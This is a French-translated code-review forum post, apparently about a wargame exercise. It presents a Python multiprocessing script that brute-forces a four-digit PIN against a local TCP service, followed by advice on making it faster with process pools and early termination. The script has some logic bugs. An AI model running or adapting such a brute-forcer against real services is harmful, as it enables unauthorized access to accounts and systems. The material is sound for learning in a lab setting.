Divide and Conquer Password Bruteforcer
Mon programme force brutalement un mot de passe. Le mot de passe est une chaîne composée d'une clé et d'un code numérique à quatre chiffres. La clé est connue, donc nous forçons essentiellement entre 0000 et 9999
Un exemple de mot de passe est:
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 4143
J'ai mis à jour ce script que j'ai écrit pour tirer parti du multitraitement afin de fonctionner plus rapidement. L'idée de base est de diviser la tâche par le nombre de processeurs disponibles. Deux événements sont mis en place:
prnt_sig_foundest utilisé par les sous-processus pour dire au parent s'il réussit à deviner le bon mot de passe.- Le processus parent utilise ensuite
child_sig_termpour arrêter chaque sous-processus
Mon Python est rouillé et je pense que j'ai fait de mauvais choix. Il serait utile que mes hypothèses soient invalidées. :)
#!/usr/bin/env python
# coding: utf-8
import multiprocessing as mp
import socket
import time
import math
import sys
import os
class Connection:
def __init__(self, pin = 0, max_iter = 10000, sock = None):
print('initizializing socket instance ...')
self.pin = pin
self.max_iter = max_iter
self.password = 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ'
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
def p_name(self):
return mp.current_process().name
def connect(self, host='127.0.0.1', port=30002):
print(self.p_name(), 'connecting ...', host, port)
self.sock.connect((host, port))
print(self.p_name(), 'connection successful.')
def write(self, msg):
print(self.p_name(), 'sending', msg)
self.sock.sendall(msg)
def read(self):
print(self.p_name(), 'reading data ...')
data = self.sock.recv(4096)
return data
def close(self):
try:
self.sock.shutdown(0)
self.sock.close()
except:
pass
def execute(self, child_sig_term, prnt_sig_found):
start_time = time.time()
print(self.p_name(), 'executing ...')
self.connect()
welcome_str = self.read()
print(welcome_str)
while self.pin < self.max_iter:
if child_sig_term.is_set():
break
pin_str = str(self.pin).zfill(4)
message = self.password + " " + pin_str + "\n" # add newline char to flush message or it doesn't get sent
self.write(message.encode())
received_msg = self.read()
if 'Wrong' in received_msg:
print(self.p_name(), 'Wrong guess %s', pin_str)
else:
print('_________________found_____________', received_msg)
prnt_sig_found.set()
break
self.pin += 1
time.sleep(0.5)
end_time = time.time()
total_time = end_time - start_time
print(self.p_name(), "start: "+str(self.pin), ' end: '+str(self.max_iter), 'total_time: ', str((total_time)/60) + ' minutes')
def main():
print('main')
connections = []
processes = []
# requires read/write access to /dev/shm
prnt_sig_found = mp.Event()
child_sig_term = mp.Event()
MAX_ITER_COUNT = 10000
processor_count = mp.cpu_count()
step_count = int(math.floor(MAX_ITER_COUNT / processor_count)) # math.floor returns a float in python 2
end = step_count
start = 0
print('Initial values ->', processor_count, step_count, start, end)
try:
for i in range(processor_count):
conn = Connection(pin = start, max_iter = end)
proc_name = 'BF[ ' + str(start) + ' - ' + str(end) + ' ]'
process = mp.Process(name=proc_name, target=conn.execute, args=(child_sig_term, prnt_sig_found))
process.daemon = True
connections.append(conn)
processes.append(process)
start = end + 1
end += start + step_count
# ensure start and end don't exceed max
if MAX_ITER_COUNT < end : end = MAX_ITER_COUNT
if MAX_ITER_COUNT < start: start = MAX_ITER_COUNT
# start all processes
for process in processes:
process.start()
# wait for all processes to finish
# block the main program until these processes are finished
for process in processes:
process.join()
prnt_sig_found.wait()
child_sig_term.set()
except:
pass
finally:
for conn in connections:
conn.close()
for process in processes:
if process.is_alive():
process.terminate()
if __name__ == '__main__':
main()
Réponses
Utiliser des pools de processus
Le multiprocessingmodule a déjà des fonctions pour créer un pool de processus , vous n'avez donc pas à l'implémenter vous-même. Il existe des fonctions pour démarrer automatiquement un certain nombre de tâches en une seule fois. Par exemple, en utilisant la map()fonction, vous pouvez mettre une tâche en file d'attente pour chaque combinaison possible à 4 chiffres:
pool = mp.Pool();
pool.map(try_combination, range(10000))
Cela permettra aux threads de travail d'exécuter la try_combination()fonction sur toutes les valeurs comprises entre 0 et 9999. Dans votre cas, vous voudrez peut-être éviter de créer une seule connexion pour chaque combinaison, vous devez donc faire en sorte de ne pas mettre en file d'attente une tâche pour chaque combinaison, mais demandez plutôt à chaque tâche d'essayer de nombreuses combinaisons. Jetez un œil à la documentation de multiprocessing.poolpour découvrir ce qui est possible.
L'utilisation multiprocessing.pooldevrait vous permettre de supprimer la plupart du code dans main().
Arrêtez les autres processus lorsque vous avez trouvé la bonne combinaison
Votre code engendre plusieurs processus, qui essaient chacun une gamme de combinaisons. Vous attendez ensuite qu'ils finissent tous. Mais en moyenne, vous trouverez la bonne combinaison après avoir essayé seulement la moitié des combinaisons, vous serez donc deux fois plus efficace si vous arrêtez le traitement une fois que vous avez trouvé la bonne combinaison. Cela signifie qu'au lieu d'attendre qu'ils se terminent tous, vous devez attendre que le premier se termine, vérifier s'il a trouvé la combinaison et, le cas échéant, arrêter les autres processus.
Avec, multiprocessing.poolvous pouvez le faire en utilisant map_async()et terminate().
Supprimer la plupart des print()déclarations
Je suis sûr qu'ils ont été utiles lors de la création du code, pour voir ce qu'il fait et pour déboguer tout problème. Mais maintenant que cela fonctionne, vous devez supprimer ces instructions. En fin de compte, vous n'êtes pas intéressé par ce qui se passe, mais uniquement par le résultat final. N'imprimez pas non plus le temps nécessaire, vous pouvez utiliser des outils externes comme la timecommande pour mesurer le temps d'exécution de votre programme.
Pensez à remplacer class Connectionpar une seule fonction
Vous avez écrit un classpour établir une connexion et essayer diverses combinaisons, mais la seule chose que vous faites est de le construire et d'appeler execute()une fois. Une seule fonction suffirait ici.
De plus, après avoir supprimé les print()instructions inutiles , je vois que la plupart des fonctions membres ne sont qu'une seule instruction. Au lieu d'écrire cette fonction membre et de l'appeler à l'intérieur execute(), vous auriez pu écrire cette déclaration directement à l'intérieur execute(). Alors, déplacez toutes les autres fonctions membres et le constructeur dans execute(), déplacez-le hors de class, et donnez-lui un meilleur nom, comme try_combinations().